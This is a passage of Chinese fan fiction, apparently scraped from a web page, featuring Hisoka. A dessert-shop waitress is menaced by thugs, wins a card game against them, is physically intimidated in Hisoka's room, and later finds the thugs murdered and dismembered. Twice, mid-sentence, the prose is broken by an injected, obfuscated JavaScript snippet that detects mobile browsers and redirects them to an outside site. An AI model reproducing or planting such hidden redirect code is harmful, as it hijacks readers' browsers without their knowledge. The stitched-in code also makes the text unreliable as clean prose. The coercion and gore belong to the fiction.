“但也许你的运气可以战胜运气呢！” …… “但是运气是最不牢靠的东西。万一我赌到兴起，压很大的筹码却输了，应该会死吧。” …… 莉莉娅，你真拥有可怕的直觉呢。 但你就像曾经的无数个名列史册的预言者一样，永远无法逃离自己预言的结局。 【Bad Ending·预言家】 18.方块3 C.休息日，莉莉娅选择呆在家里睡觉。 * 最近发生的事情太多了，还是好好休息一下吧！ 莉莉娅是这么想的，于是在家里睡了一天。 第二天上班，一切如常。 午餐时段的甜品店顾客稀少，窗外阳光和煦，店内播放着舒缓的轻音乐，空气里氤氲着焦糖和奶油的甜香，仿佛世界都慢了下来。 直到那扇玻璃门被粗暴地推开。 莉莉娅正在擦拭柜台的手微微一顿。抬头时，三个身材魁梧的男人已经站在了收银台前。 为首的男人脸上横贯着一道狰狞的伤疤，单手握拳，重重地击上了收银台前的木质柜子。 柜子承受不住这样的重击，被击出一个拳头大小且外扩的深坑，木屑飞溅的同时，那个拳头大小的凹陷边缘的裂纹像蜘蛛网似的蔓延开来。 ……这是什么超现实场景……？ 莉莉娅被吓得后退了两步。 柜台这么大，后退已经无路可退，她看了一眼藏在收银机后的报警装置，一边思考他们到底是为什么来，一边思考到底要不要现在就报警。 但莉莉娅很怀疑自己的小动作会被他们发现，所以现在还是不要轻举妄动比较好。 不过，下一刻他们就报出了来意。 “听说你牌技很好，还赢了西索？”为首的男人明知故问。 莉莉娅立刻明白他们是为何而来了。 她深吸一口气，她藏在背后的的手不自觉地攥紧了侍应生制服的裙摆，但表面还很冷静，她尝试提醒他们：“但是西索早就赢了我啊。” “放屁！” 男人的手猛地拍向柜台，这回本来在面上已经受创的木质柜台无法再承受这样的重击，甚至直接往下裂了开来，连带着柜台旁边的蛋糕展示柜的玻璃都隐隐震动，他伸手指向莉莉娅： “你以为我不知道西索是什么样的人？西索赢了你，你这个废物还能站在这里，骗鬼呢！！” 他说完，他的同伴发出粗鄙的笑声，其中一个染着彩头的男人故意将扑克牌甩在柜台上，开始帮腔：“别给脸不要脸，你是乖乖坐下来打牌，还是等我们大哥把你腿打断之后再打牌？反正你打牌又不靠腿，对吧？哈哈哈哈哈哈！！” 莉莉娅抿住嘴唇，从她的视野里能看到店里其他顾客都在悄悄后退，玛丽和萝丝站在一边都不敢出声，新来的实习生甚至已经躲进了后厨。 “但是，我确实已经输了……” 她还是试图解释，声音却淹没在对方的大笑中。 “谦虚什么？” 为首的男人突然俯身，浓重的烟草味扑面而来，所幸柜台还算宽，他即便倾身也没法越过柜台来。 “你不打，我们可打你了？” 男人咧着一口烟熏出来的黄牙，乱糟糟的黑发贴在额头上，脸上横肉随着笑声不停抖动，又故意将指关节按得咔咔作响，就这样站在收银台前完全把别人结账的路堵住了，也把其他人出柜台的路堵住了。 店里的同事没人能和这群人对抗，莉莉娅也不会让没能力的大家替自己出头。 只能自己想办法了。 “……完全是无赖啊。” 莉莉娅强忍着反胃的感觉凝视着对方。 这个人虽然来挑她的事，但并不是专门为她来的。 他对西索抱有很大恶意，但莉莉娅猜想他甚至没资格和西索对战，否则怎么可能安然无恙地站在这里？ 但西索那样的性格样貌，有人讨厌他也理所应当。 总之，这几个不服西索的人听说莉莉娅牌技很好还战胜西索所以来挑事，好像想通过赢了她来赢了西索。即便莉莉娅解释她已经输给西索了他们也不信，看样子她不打不行了。 “无赖怎么了！你们这种底层垃圾能和老子说话已经是恩赐了，老子都没问你要钱呢！打不打！” 他好像觉得自己很幽默，说完之后还哈哈大笑起来。 跟在他身后的几个喽啰也发出刺耳的哄笑。 实在是太过分了。 但甜品店的大家都是普通人，没人能和这样的家伙过招，即便警察来了，在他没有动手，只是拍裂柜台的情况下顶多也只会让他赔钱，也不会把他这个天空竞技场选手怎么样。 可警察不能次次都来，莉莉娅也总有落单的时候，如果他们在她下班回家的路上堵她，那甚至都没有挣扎的机会了。 还不如现在应下他再说。 ……不过，众目睽睽下，应该也可以提些条件。 如果输了，肯定会被狠狠侮辱羞辱。 如果赢了，也许会被别人污蔑是出老千，说不定要砍手。 那么干脆让他们准备牌，让他们发牌，但万一他们之中存在和西索一样会变牌的人怎么办？ 莉莉娅心中闪过很多想法，但很快在权衡利弊之下想到了相对而言比较好的方法。 “我可以跟你打，但是，我们要赌钱。” 莉莉娅下定了决心。 已经无路可逃了，再纠结下去也没有什么用。 警察来了也只能赶走他们，可以解决一时的危机，却解决不了一世的，所以还不如在众目睽睽之下把这件事情处理了。 虽然也不知道能不能处理成功，但也只能这样了。 莉莉娅想着，松开把裙摆边缘攥得发皱的手，掀开柜台旁的挡板，从柜台后面走了出去，站在对方跟前说。 “赌钱？当然要赌，谁打牌不赌钱？” 刀疤脸男人咧开嘴笑了。 挑事者对他自己的实力非常有自信，答应了莉莉娅的要求。 也许是他也有什么出老千的方法吧。 但是到如今，除了应战，也没有其他办法了。 “那就来吧。” 莉莉娅深吸一口气，找了一张桌子坐下。 她甚至没有要求拆新牌，说只要他们带来的牌张数对就可以打。 这个决定让刀疤脸明显愣了一下，他浑浊的眼珠转动着，似乎在揣测这个金发女孩的意图。莉莉娅只是平静地将双手交叠放在桌上。 看上去好像个打牌老手。 这让挑事者的神色认真了一点。 可认真是没有用的。 打第一局的时候，莉莉娅还在担忧自己会输。 但显然，这个人没有像西索一样变牌的实力——当然，有这么多人看着，即便莉莉娅不记牌，其他人也会帮她记的。 第一局莉莉娅很轻松地赢了。 接下来，无论是这种形式的扑克对战，还是抽几张牌比大小，还是牌九，莉莉娅都赢了，围在桌边观赛的人也越来越多，她选的座位靠着玻璃墙，因此店外的玻璃前都围满了人看她打牌。 人多了，就会随着牌的大小发出惊呼。 算是一种透牌。 但根本没关系，因为莉莉娅的牌太好了。 筹码越加越大，越加越大，刀疤脸男人的表情也越来越扭曲，汗珠大颗大颗地从额头滚落，他粗重地喘息着，僵硬地出牌，怒气冲冲地扔牌，不服输地加注——他带的银行卡已经输给了莉莉娅，他又赌上房子，赌上未来——因为不是专门的赌场，所以莉莉娅也允许了。 等到最后，他已经赌输了整整十亿戒尼。 打到天空竞技场200层的奖金似乎就是这么多。 这应该是他的极限了。 “我不会再和你打了，你根本不可能赢我。你必须打到200层然后把奖金给我。如果做不到的话，就考虑用其他东西代偿吧。” 最后一局结束，莉莉娅将手中的牌丢回牌堆，这么和他说。 挫败的男人捂着脸，他的小弟们也陷入了沉默。 下一秒，变故陡生。 “砰！” 固定在地上的桌子被墙里掀出，拔地而起，在空中划出一道弧线，重重砸在地面上，上面的玻璃桌板击到地上时发出一声巨响然后碎裂，玻璃碎片四溅，扑克牌如雪花般四散飞舞，在众人的惊呼声中，那个狼狈的身影和他的小弟们已经撞开人群，夺门而出，只留下还在晃动的玻璃门和满室狼藉。 莉莉娅当然没有办法阻止他跑掉。 她只来得及捂住自己的脸，以防玻璃碎片划伤她的眼睛。 但是从那一刻起，她低下头，摸了摸自己被玻璃碎片划出血痕的额头，而后低下头，盯着自己手指上的血，又反转手臂，看着手臂上被玻璃划伤的伤口陷入了沉思之中。 * 西索是在闹事者离开后的十几分钟后来的。 那时候，莉莉娅手臂上被划出的伤口才刚刚被包扎好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645252|169896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，白色的绷带在纤细的手臂上格外显眼。 店长刚要开口给她放假，西索就推门而入了。 “莉莉娅，真狼狈呢~” 他眯起金色的眼睛，目光落在莉莉娅手上的绷带上，声音还是那么荡漾，听上去甚至有点幸灾乐祸。 没等店长说完，也没和莉莉娅客套什么，凑巧出现的西索甚至没说几句话，就这么在大庭广众下顺理成章地把莉莉娅接走，接到了他天空竞技场的卧室里。 他快要升上两百层了，听说会换一个更好的房间。 不过这时候的莉莉娅也顾不上这些了。 她坐在床沿，一边摸着自己手腕手臂上的绷带，和西索讲述了之前在甜品店内发生的所有事。 “所以，虽然我也不知道是谁在传播我打牌技术很好的谣言，但归根结底，其实这些人都是因为你来的。” 莉莉娅的语调是有点埋怨的，毕竟如果不是因为西索，那些人也不会找上门来。 坐在她身边的西索完全没在乎她的语气，而且居然还很认真地听完了。 西索今天的心情似乎不错，不仅很认真地听着，还会发出‘哦？’‘然后呢？’这样的捧场话，还一直盯着她受伤的手臂看，手指还很烦人地拨开她额前的刘海看那道已经不往外冒血的小血痕。 在他伸手想在她额头的伤口上按两下之前，莉莉娅蹙着眉微微后仰躲过了他的手，以防他追上来，她还伸手抓住了他的手腕。 完全是动作快于思考。 如果是平时，莉莉娅绝不会这么胆大包天。 但今天也许是因为那些闹事者让她的神经紧绷到了极限，也许是因为她太累了，所以没来得及思考，全凭本能行动了。 但西索并没因为这点小事就生气。 他就由着她抓着。 他的手腕比看上去的粗多了，也热多了。 莉莉娅不敢多握，赶紧把他的手往旁边一丢，然后装作什么都没发生一样看向他，问出她非常想知道的一个问题：“你认识他们么？” “完全不呢☆~” 西索的嘴角勾起一个轻蔑的弧度，好像在笑这样程度的人也能把她为难成这样。 莉莉娅当没看见。 他的回答也完全在她的意料之中。 这样的小喽罗能被他记住才怪。 莉莉娅叹了口气，只觉得手臂上绷带下的伤口还隐隐作痛。 完全是无妄之灾。 但也没办法了。 莉莉娅这么想着，正想摆烂，可坐在她身边的人是绝对不会允许她就这样放弃的。 “那你想怎么办呢？莉莉娅☆？” 罪魁祸首，讨人厌的家伙突然凑近她，伸手搭住她的肩膀，让她再也没有机会后仰，一边凑近她的脸颊，故意呼吸，让呼出的气流拂过她的耳畔，吹起她脸颊侧边的金发。 “我没有办法。我有什么办法，我只能放他走。” 莉莉娅的肩膀被揽住，她只能挪动脖颈，尽力和西索拉开距离——当然，没什么成效。 她抿了一下嘴唇，垂下眼睑，不敢看向他近在咫尺的眼睛，只垂着眼，盯着他几乎靠在自己手腕边上的，比她大上好几号的，骨节分明的，随时能掐死她的手，这么无能地回答道。 “真没意思的回答……” 西索看着她，脸上却没有露出失望的神情，而是伸出手，捏了一下她的脸颊。 力道不轻不重的。 莉莉娅想躲，但是没能躲开。 他的指腹有常年练习留下的茧子，粗糙的触感加上不轻不重的力道让莉莉娅不自觉地皱眉，轻轻发出吃痛地嘶声，但西索完全不受影响。 他永远只做自己想做的事情。 像现在，他一只手扶住她的后脑，一只手上移，用粗糙的指腹抚摸住她因为异物接近而闭上的眼睑。 指腹之下，她的眼睑无意识地跳动着，像西索兴奋的心。 “但是莉莉娅，你的脸……”西索的声音带着笑意，“你的表情……你的眼睛……”他的指尖轻轻按压她的眼皮，“好像不是这么说的哦☆？” “撒谎，是坏孩子哦☆？” 他微微俯身，轻轻贴近她的脸颊。 与此同时，扶住她后脑的手下移，颇具威胁感地捏住了她的后颈。 19.方块4 “但是莉莉娅，你的脸……”西索的声音带着笑意，“你的表情……你的眼睛……”他的指尖轻轻按压她的眼皮，“好像不是这么说的哦☆？” “撒谎，是坏孩子哦☆？” 红发男人凑得极近地这么和她说。 他的手甚至已经捏上了她的后颈，带上了十足的威胁意味。 可莉莉娅仍然没有立刻回答。 因为西索说的是真的。 她的确在撒谎。 因为她很不服气。 她其实在答应打牌的时候就预料到这个结局了，但还是觉得很郁闷。 对方来闹事，对方强逼她打牌，对方许下诺言，对方逃走。 她从始至终没有办法抵抗，到最后也没法阻止他跑走，他在沉寂一段时间后仍然可以重新去天空竞技场比赛，重新获得人气，没有人会再提起这场失败的，耍赖的赌局。 当然，他未来甚至可以私下再来找她麻烦，甚至在她回家的路上杀死她，以绝后患。 没人会在意一个甜品店服务员的性命的。 莉莉娅很清楚地知道这一点。 但是，这种事情是可以允许的吗？ 莫名其妙在路上被陌生人杀死不太正常，和西索相处中莫名其妙被他杀了也不太正常，但仔细一想也情有可原，毕竟实力强的人总是阴晴不定，运气不好撞上了也只能认命。 可自己明明是被挑衅的人，赢了牌，最后没有拿到钱，却还要被输家杀死，这也太不公平了吧？ 这是不对的。 但是世上的事情总是这样的，不是说你有理就会赢。 她想说很多话，但这些话都太幼稚了，而且西索可不是一个合格的倾诉对象。 所以她不说。 可是不说这些，她又不知道说什么好了…… 于是她选择沉默。 “莉莉娅~你一直赢我，但只输了那一局，那时候，你就没有怀疑过我吗★？” 在她的沉默间，西索突然问了一个很怪的问题。 陷入了苦恼中的莉莉娅惊讶地看向他，发现这个人居然是很认真地在问这个问题后，几乎没有思考，就干脆地回答了他的话：“我不怀疑啊，输了就是输了，难道因为输了就怀疑别人吗？难道西索你怀疑过我吗？” 她非常理直气壮。 她基本不会把人往坏里想，尽管西索看上去就很坏。 而现在，看上去就很坏的西索点点头：“怀疑哦★~” 莉莉娅大惊：“什么时候！” 她看向他的眼神变了，像在看一个辜负了她信任的坏家伙。 红发男人理直气壮地看着她：“一开始就怀疑了★~” “……真的假的？” “因为怀疑莉莉娅在发牌时作弊，所以我才会自己发牌哦。因为觉得可能在牌上做记号，所以我才带了新牌噢~其实我带的那几副牌都各有不同呢。一副是正常的牌，一副是做了特殊记号的牌。在打第二副牌时，莉莉娅，你在我眼前其实是明牌哦。不过我还是输了呢☆。” 他好得意。 居然连珠炮一样说了这么大一段话。 ……他早就想这么说了吧？ 魔术师一般是不能揭秘自己的手法的。 然而西索却是例外。 他像魔术师，但总是让莉莉娅猜他的手法，她猜不到他就克制不住主动说，这么看来，完全是不合格的魔术师啊。 但这些都不重要了。 重要的是，他一直在作弊啊！还很理直气壮地说出来了！ 他好像觉得这么做很有道理，好像觉得他这么对待她，她还赢了，是对她实力的肯定。 莉莉娅完全不理解他的想法。 莉莉娅完全地不满了。 但是莉莉娅也没本事对他发泄愤怒。 于是无能的莉莉娅陷入了沉默，只抿着嘴唇瞪着他。 然而西索还没有说完，魔术师本人一旦开始揭露魔术就会陷入某种狂热中，西索这样的人也不例外。 他伸手，手中的牌面反转成六张2，然后将它们随手抛到床上，又伸出手指，点了点莉莉娅的心口。 隔着衣料，他指尖的力道轻如鸿毛。 他的声音也轻如鸿毛： “看着你的牌和你打了这么多局，我还是输了，这太难以置信了，对不对，莉莉娅？所以我后来猜想，大概，只要是‘完整的一副牌内’，就无法战胜你。但假若超出了一副牌的范围呢 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“我好讨厌你，你这个作弊狂。” 她别过脸去，很直白地说。 “这是我的房间哦☆~” 西索提醒。 “我走了。” 莉莉娅毫不犹豫地甩开他握住她手腕的手，站起身，却被他再次，一把握住手腕。 甚至在她迈步之前。 “不可以哦~” 西索扯住她的手腕，轻轻一拉，莉莉娅完全无法和他抗衡，向后倒退了两步，然后就被他伸手勾住了腰，又落回了床垫边缘。 “这不是还没聊完么？怎么可以先行离场呢？” 他善意地提醒她。 “所以，今天，我没有允许的话——” 拦住她腰的手臂向上压住了她的肩膀。 人的热气，不知名牌子的沐浴露的味道伴随着他的体重过来，一直以来轻飘飘说话的男声突然低沉下来，带着不容置疑的意味，以及明晃晃的威胁——尽管他没做出任何威胁的动作。 “莉莉娅就不许离开我的房间哦☆。” 他说。 20.方块5 …… 感觉已经是性-骚-扰的程度了。 因为早就知道西索是这样的德行，莉莉娅没有太惊讶，如果是平时，她说不定也忍了。 但现在…… “怎么？如果我走的话，你就要杀了我？” 她侧过脸，完全不避讳和西索对视，他的脸就这样近在咫尺，只要他再低下一点头就能呼吸交缠，莉莉娅的视线却从那双金色的眼睛往下移，移向他那几乎看不见毛孔的脸颊。 不仅是看不见毛孔，他脸上的油彩也根本看不见纹路走向——如果是化妆品或者涂料，理应有化妆刷一类刷子留下的纹路走向才对，但莉莉娅却看不见。 ……也是那种东西吗？ 覆盖在牌面上的假象，他脸上的油彩，都是一个东西吗？ 那究竟是什么？ 算了，不要再想了，那不是她能知道的东西。 莉莉娅微微转开视线，不再去看那不知什么东西制作而成的，贴在西索脸颊上的符号。 而这时候，身侧的男人发出一声轻哼后，终于愿意纡尊降贵地回答她大不敬的质问了。 “也许？嗯……不对，这样的答案太古怪了★。” 他一开始的答案原本很轻佻，但大概是太不着调了，所以在话说出口的下一瞬间就被他自己否定了，他的手臂横跨她整个人搁在她的肩膀上，在给莉莉娅不断施加重但还勉强能承受的压力。 像他身侧萦绕着的似有还无的杀意一样。 他沉吟着，似乎开始思索了，横搭在莉莉娅右侧肩膀的手腕微微反转，用手指勾着她脸颊侧边的金发打旋，一边盯着她的左脸看，一边说：“如果要稍微认真点回答的话，其实应该说——你走的出去吗，莉莉娅★？” 真是直接的话啊。 莉莉娅已经记不清这是不是他第一次对自己说这样直接的话了，不过倘使之前他也说过这样威胁的话，也不会比这一次更直接。 否则她一定记忆犹新。 轻飘飘的，虽然说是威胁，但其实只是在陈述事实，毕竟西索只要稍微认真一点，稍微用一点点力气，她就无法从他现在压着自己的胳膊底下逃走。 连摆脱他的手臂都做不到，又何必给自己脸上贴金，说可以‘离开’这间屋子呢？ 莉莉娅不知道该怎么回答。 犟嘴是没用的，这时候说这种话不会让自己变得有底气，反而会让自己变得很滑稽。而且她也不是那种为了一时的脸面自尊就认不清形式的人。 如果是平时，其实根本不会到这样的局面才对。 因为面对很强的人，她一直都是很小心忍让的。 做什么都可以，因为很强，得罪不起，所以在不超出底线的情况下基本上做什么都可以，更别说她还欠他一个要求。 所以不需要西索说什么，她就会乖乖坐在那里，也不会生气甩开他的手说要走。 特别是在她刚刚遇到挑事者并赶走他们的情况下，她更不会这么做了。 她其实已经有点累了，不想和更厉害的西索发生冲突。 那么，一切是怎么发生的呢？ 没办法再想下去了。 因为这时候，揽着她肩膀的红发男人已经收紧了手臂，问她：“在想什么呢？莉莉娅？” “……你到底想干什么？” 莉莉娅没有回答他的问题——也许这也算是回答，但他们都知道他想听的不是这个。 金发少女抿着嘴唇，面无表情地看着他，问。 “嗯~我也不知道呢，我想知道，莉莉娅在想什么★？” 他果然没有回答她的问题。 不管她做出什么样的表情，他都视若无睹。 因为他想知道的，想做的，从始至终都只是…… 莉莉娅忍不住垂眸，咬了一下口腔侧边的肉，一点也不疼，但这时候她也不知道该干什么了，总之，她咬了两下自己的口腔，又咬了咬嘴唇，最后很不服气地呼出一口气。 “不知道。我不想告诉你。” 她抬头，盯着他。 “西索，你很想让我变强吧，然后让我和你打架？但我不会同意的。” 她说。 完全是故意的。 这个人从头到尾都是故意的。 故意在她被人挑衅，放跑对方并被对方逃跑时的举动弄伤的当下出现，故意提起她输给他的原因，故意把她扣在这里不让她走甚至不让她动。 其实都只是为了让她不服气而已。 因为不服气才会觉得自己很弱小，所以才想变强。 但莉莉娅怎么能让他得偿所愿呢？ 所以她仍然拒绝。 在她似乎洞悉他想法的当下，仍然拒绝。 他似乎有什么自己的规矩或者底线，所以没有用那个要求强求她，正因如此，莉莉娅才会不断地拒绝他。 可被三番两次拒绝的西索看上去也没有特别生气，他比他的外貌看上去好脾气多了，此时甚至没有再失望地，像小孩那样鼓起脸颊了。 他只是将卷在食指上的她的那缕金发松开，然后又缠上，又松开。 他一边像玩洋娃娃似的玩她的头发，一边说：“嗯~我知道。不过让我生气对你没有好处哦★？” 他说着，不轻不重地扯了一下她的头发，莉莉娅头皮传来拉扯的疼痛——依旧像他按压她的伤口时那样，不轻不重。 不至于吃痛地发出声音，但也无法忽视。 “所以还是乖乖回答我的问题吧——如果我把我的要求给莉莉娅，莉莉娅会对我提什么要求呢★？” “我不要。” 几乎没有思考，她就拒绝了。 西索轻笑了一声。 他们贴在一起，莉莉娅的肩膀正抵着他的胸膛，因此能很清楚地感受到他那声笑所带来的胸膛起伏。 因为对他这样的态度习以为常了，所以莉莉娅甚至已经提不起心情羞恼恼恨了，只面无表情地听他问：“为什么？我可是作弊了呢，莉莉娅不恨我么★？” 如果她接受了这个要求转让，恐怕结局才不好吧。 她在心里这么想。 但正如西索之前说的，故意惹恼他和他对着干对自己没有好处。 所以莉莉娅只能咽下那口气，垂下眼睑，还算乖巧地回答他：“你赢了就是赢了，作弊没作弊，恨不恨你是另外的事。所以我不会收回那个要求的，你可以尽管提。” 因为不是违心话，所以说起来很顺，除了必须回答他的话而感到稍微有些憋屈外，其实还在可以忍受的范围内。 归根结底都是他的错吧，要是不故意说作弊的话来气她，她怎么会生气呢？那么他们现在还可以这样好好说话，而不用这样加枪带棒的。 但想如果也没有用了，莉莉娅现在不想说话了，更不想无谓地埋怨他。 “☆~” 西索发出一声气音。 为防他继续在这个话题上说更多话，莉莉娅索性一口气都拒绝了： “你要是说之前输了那么多局所以想回报我，那我也不要，因为玩的时候没说，后面找补我不会接受。” 说完，她顿了顿，很怀疑地看向他：“而且你看上去也不想那么好心的人吧，干什么突然要当大善人？” 她很怀疑后面还有什么更恐怖的事情等着她。 但西索完全无视了她的反问，只自顾自地鼓起脸颊，看向她，试探地问：“那你陪我打一局☆？” “这是你的要求么？”莉莉娅歪了歪头，问。 “当然不是☆~” “那才我不要！” 莉莉娅非常严肃地拒绝了他。 拒绝还不够，她甚至抬起一只手指向他，学着他之前对她的那样伸手戳他的心口，控诉他：“你是骗子！作弊狂！死老千！我不要再和你打！” 被莉莉娅连番控诉的西索鼓起脸颊，握住她作乱的手，又皱起脸。 两人对视着，陷入了诡异的沉默。 在几个呼吸后，盯着她的红发男人突然笑了。 非常诡异地笑了。 那笑容实在诡异，让莉莉娅汗毛倒竖，甚至下意识想要后仰和他拉开距离，然而他搭在她肩膀上的手像铁做的，完全不能撼动分毫，于是她只能在身体因感知到危险的下意识肌肉反应中尝试冷静，尝试仔细听他说：“既然如此，莉莉娅，你欠我一个要求☆。” 莉莉娅点点头：“对。” 她的呼吸放得很缓，这是一种放松肌肉的方法——至少她是这么认为的。 但无论她放不放轻呼吸，她紧绷的肌肉，缩小的瞳孔已经暴露了她的状态，不过西索依旧视若无睹。 或者，他正享受着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672060|169896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种恐吓莉莉娅的感觉。 “那么，你如实告诉我，想对那个人做什么呢☆？” 他凑近她，近到几乎鼻尖擦着鼻尖的距离，这实在太近了，莉莉娅甚至不敢垂眸乱看，因为视线发飘反而增长暧昧气氛，于是只敢瞪着眼睛，直直地盯着西索金色眼睛里自己的倒影看。 在这么近的距离下，大脑似乎也要宕机了，思考速度都好像变慢了…… “……这是你的要求的内容么？” 但最终，莉莉娅还是捋清了思维，这么问他。 然而他根本不会好好回答她的问题。 “不知道哦☆~” 红方男人这样轻佻地，模棱两可地说话。 “这算什么……你完全在耍赖。” 莉莉娅不忿地撇了撇嘴，但也意识到如果她今天不说，西索是不会放她离开的，她也完全犟不过西索，根本没有和他谈判的资格，而且再拖下去还不知道他会做什么更怪的事情…… 太近了。 她现在甚至都不敢闭上眼。 这样的，近到鼻尖蹭着鼻尖的距离不能再持续下去了，否则她根本不敢想之后会发生什么，她咽了一下口水，遏制住想要乱飘的视线，只好妥协了：“好吧，好吧，我想的是，我要他付出他应该付出的代价。” 她已经很配合了。 然而西索却不想就这样轻易地放过她。 “什么相应的代价☆？” 他问。 莉莉娅没有立刻回答。 她深吸一口气，很勇敢地看向他。 她还很年轻，在西索的印象里，似乎刚刚成年没多久，所以脸颊鼓鼓的，圆圆的，触感也很滑嫩，正因如此才如此脆弱，以至于能被玻璃碎片划出那么长的伤口。 睫毛很长，也是金色的，扇动起来像一种花的花瓣，眼睛则是很亮的绿色，不生气的时候圆圆的，生气的时候会瞪得更圆更大，脸颊也会完全鼓起来。 平时会躲开他的视线，但想知道他情绪的时候会悄悄抬眼，生气的时候会直接看向他，表现得好像连死都不怕——想到这里西索又觉得有些无聊了。 因为普通人的悍不畏死是其实是因为没见过死。 也许要在她面前杀几个人才有意思。 如果她见到了，还仍旧那样不畏死，他才能正视一点她的愤怒——可弱小者的愤怒值得正视么？ ★^ 莉莉娅被他触碰，压住肩膀，揽住腰的时候会绷紧肌肉，表面在努力维持镇定，但身体其实在无意识地蜷缩，然后会找机会在他‘松懈’的时候溜出去，但溜走后也不会有更大的大动作，所以再想捞回来也很简单，被捞回来也不会多说什么，只是脸颊会鼓起来，眼睛会眯起来，嘴巴会抿起来。 当然，如果拉近距离，拉到这么近，她反而不会闪躲视线，而是直视他——这种直视又和生气的时候不同了。 因为这是那么外强中干，完全是她为了为了阻止某些事发生而做出的，也是她唯一能做出的抵抗。 但其实是没用的。 因为他并不是对方睁着眼就会忘记接吻的男人哦☆。 如果他真的想的话。 总之，哎呀~多么可爱有趣脆弱的玩具，所以才难得多了一点耐心。 玩具。 是他对莉莉娅的新称呼。 因为他发现，比起苹果这样的形容词，还是玩具更适合她。 因为她是个有趣，可却甘于平凡，不想变强的人，这样永远不会长大的苹果似乎没有培养的必要……但是毕竟天赋很强，所以总会稍微有些期待，当然，原因不止于——~ “那么，你觉得呢？” 金发的，肩膀还被压在他胳膊底下的少女仰着脸，绿色的，玻璃一样，湖水一样剔透的眼睛倒映着他的身影。 然而那样澄澈的眼睛里除了因距离过近产生的连带情绪外并没什么多余的感情——哦？是真的吗？ 莉莉娅是撒谎精呢☆。 被西索怀疑着的莉莉娅不知道他心中所想，也完全不如他气定神闲游刃有余。 她非常想逃走，然而无处可逃，只能勉强镇定下来，仰着脸，放轻放松呼吸，克制住某种感觉，就这样看着他，这么问他： “总是你问我，现在我问你，西索，你觉得，如果是你，会让对方付出什么代价？” 21.方块6 “总是你问我，现在我问你，西索，你觉得，如果是你，会让对方付出什么代价？” 话音落下，房间陷入短暂的静默。 西索微微眯起了眼睛，没有立刻像往常那样笑着给出戏谑的回答。他头侧了一点，似乎在认真思考这个问题。那副看似随意的模样，却少有地透出一种晦暗的沉默感。 但这真的需要思考吗？ 不过他压着她的力道放松了。 莉莉娅抓住机会，立刻从他的手臂底下钻了出去。 天空竞技场给一百多层的选手提供的房间没有客厅，是简单的oneroom，门一打开就是桌子床电视机，配一个标准的卫生间，所以她没几步就跑到了门口。 本来她还以为西索会故技重施，她几乎做好了下一秒会被他从背后一把拽回去的准备。 但没有。 握住门把手的莉莉娅有些犹豫地回头。 发现西索还坐在床边。 西索仍坐在那里，懒洋洋地，一手撑着下巴，红发在白炽灯下，像是跳动的火焰，可是因为它的主人是西索，它是西索的头发，所以即便鲜艳也觉得阴冷。 西索没有再说话，也没有动作，只是嘴角勾起一个意味不明的笑，视线一动不动地落在她身上，像是在欣赏什么好玩的玩具。 但不再思考了。 只是笑着看她。 莉莉娅盯着那张脸看了两秒，只觉得他那副悠哉的模样，不像是放过了她，倒更像是在心里酝酿什么恶劣至极的计划。 但比起担忧未来，她还是选择打开门，跟他说了声再见，也不管他有没有听见，便拉开门，几乎是落荒而逃地离开了。。 * 第二天莉莉娅还是照常上班。 手臂上绷带没有拆，看上去还挺严重的，但莉莉娅估计底下的伤口没几天就会愈合。 毕竟被玻璃碎片划伤不是什么大伤，如果借此不去店里的话反而不太好。 况且，在这种情况下，呆在家里反而容易胡思乱想。 今天的她是早班，清晨七点的路上上班的人不少，但也不多，毕竟莉莉娅住的地方不是交通要道，但通勤还算方便。 一般来说，她走到公交车站只需要三四分钟，可今天出了意外。 在去往公交站的必经之路上，路过一个平时不起眼的窄巷口时，莉莉娅被迫停下了脚步。 巷子入口处反常地围了好几层人墙，阻断了人行道，那些人盯着巷子里的东西嗡嗡议论着，隐约能听见“报警”，“不要破坏现场”这样的话。 其实莉莉娅并不是什么八卦的人，如非意外，如非不得不去，一般来说，她遇到什么热闹事不但不会凑上前去还会赶紧走开，但这次，直觉让她一定要进去看看。 于是她勉力挤进人群，在人缝中艰难地移动，顾不上周围人投来的目光和惊呼质问往前冲，直到能看到巷子内的景色后才停住动作，她踮起脚尖，视线越过几个人的肩膀，看清了巷内的景象—— 巷子里是七零八落的尸体。 在这一瞬间，被人群阻隔的浓烈到令人作呕的铁锈腥气才扑面而来。 巷子里的死者不止一个，尸体肢体都被随意地切割，像乐高玩具块一样四散在地，深色的血液在粗糙的地面上行成一滩滩红色的血泊。 但与肢体不同的是，他们的头颅都被切了下来平放在地上。面朝着巷口的方向。 莉莉娅认出这些头都来自于昨天来甜品店闹事的家伙。 眼睛看到的限制级景色和闻到的刺激性味道让莉莉娅的胃里一阵翻搅。 但她的思维却很理智。 ……也许这就是报应吧。 她想。 而此时，警笛声由远及近地传来，很快，从背后传来了大声的呵斥声： “让开！警察！无关人员退后！” 警察来了。 趁着人群因警察的到来而骚动推搡，无意再看这样恶心场景的莉莉娅转身混入人群中，很快离开了。 * 托她平日提前出门的习惯所赐，莉莉娅并没有迟到。 但上班没多久后，甜品店里的电视上就紧急插播了这起骇人听闻的凶杀案。 因为受害者的头还在现场，所以新闻公布了受害者的照片，所有同事都认出了这几个死者是昨天来闹事的家伙们，而后，店里炸开了锅。 “我的天啊！就是昨天那几个家伙！” 萝丝指着电视上展出的照片捂着嘴惊呼。 